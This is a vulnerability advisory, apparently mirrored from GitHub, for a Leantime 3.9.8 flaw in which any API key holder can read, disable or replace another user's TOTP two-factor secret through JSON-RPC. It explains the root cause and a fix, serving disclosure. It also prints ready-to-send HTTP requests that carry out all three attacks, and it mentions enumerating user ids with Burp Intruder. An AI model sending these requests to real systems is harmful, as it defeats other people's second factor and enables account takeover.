GHSA-HM6C-V95G-65HV
Any API user can read, disable, or overwrite another account's two-factor authentication (Leantime 3.9.8)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-HM6C-V95G-65HV divulgada · CVSS 8.1 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
The JSON-RPC API exposes four `TwoFA` service methods that take a `userId` from the caller and never check it against the logged-in identity. Any account that can reach the API can point these methods at someone else's user id and read their TOTP secret, turn their 2FA off, or replace their secret with one the attacker controls. The victim's role does not matter: a read-only API key is enough to take over an owner or admin account's second factor.
### Root cause
`app/Domain/TwoFA/Services/TwoFA.php` has `getSetupData`, `saveSecret`, `verifyAndEnable`, and `disable2FA`. All four are marked `@api` (so they are callable over JSON-RPC), all four accept `int $userId`, and none of them carry a `#[RequiresPermission]` attribute or an in-body ownership check. Example:
public function disable2FA(int $userId): void
{
$this->userRepo->patchUser($userId, ['twoFAEnabled' => 0, 'twoFASecret' => null]);
}The only legitimate caller, `app/Domain/TwoFA/Controllers/Edit.php`, always passes `session('userdata.id')`, so these methods were meant to act on the current user only. Nothing enforces that. Leantime's central `PermissionEnforcer` runs at the RPC dispatch boundary but is a no-op for methods that have no `#[RequiresPermission]` attribute, so the call goes straight through with the attacker's `userId`.
### Prerequisites
A JSON-RPC credential. `/api/jsonrpc` does not accept the web session, so the caller needs an `x-api-key` (an API key of any role, including read-only) or a personal access token. The credential's role is irrelevant to the outcome.
### Steps to reproduce
Victim is user id 14 with 2FA enabled. Attacker holds a read-only API key.
Read the victim's TOTP secret:
POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 96
{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.twoFA.twoFA.getSetupData","params":{"userId":14}}Response:
{"jsonrpc":"2.0","result":{"secret":"JBSWY3DPEHPK3PXP","qrData":null,"twoFAEnabled":true},"id":1}Disable the victim's 2FA:
POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 94
{"jsonrpc":"2.0","id":2,"method":"leantime.rpc.twoFA.twoFA.disable2FA","params":{"userId":14}}Overwrite the victim's secret with an attacker-known value:
POST /api/jsonrpc HTTP/1.1
Host: localhost:5080
Content-Type: application/json
x-api-key: lt_burpreadonly_deadbeefdeadbeefdeadbeefdeadbeef
Content-Length: 138
{"jsonrpc":"2.0","id":3,"method":"leantime.rpc.twoFA.twoFA.saveSecret","params":{"userId":14,"secret":"GEZDGNBVGY3TQOJQGEZDGNBVGY3TQOJQ"}}<img width="1608" height="745" alt="Screenshot 2026-07-15 at 9 24 34 PM" src="https://github.com/user-attachments/assets/f88deeaf-1221-42bf-ae33-adc21e782f42" />
Re-sending the first request confirms each change (the secret is now the attacker's value, `twoFAEnabled` is false).
Iterating `userId` over Burp Intruder maps every account and flags which ones have 2FA on.
### Impact
This defeats 2FA on any account. An attacker who also has or phishes the password walks past the second factor by turning it off, or keeps long-term access by planting a TOTP seed they can generate codes for. Because a minimal-privilege credential reaches admin and owner accounts, it is also a privilege-escalation path.
### Suggested fix
Pin every one of these methods to `session('userdata.id')` and reject a `userId` that does not match, or add `#[RequiresPermission]` scoped to the caller's own identity. There is no admin-on-behalf 2FA flow, so self-only is the correct rule.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistleantime/leantime |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Leantime/leantime/security/advisories/GHSA-hm6c-v95g-65hvLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
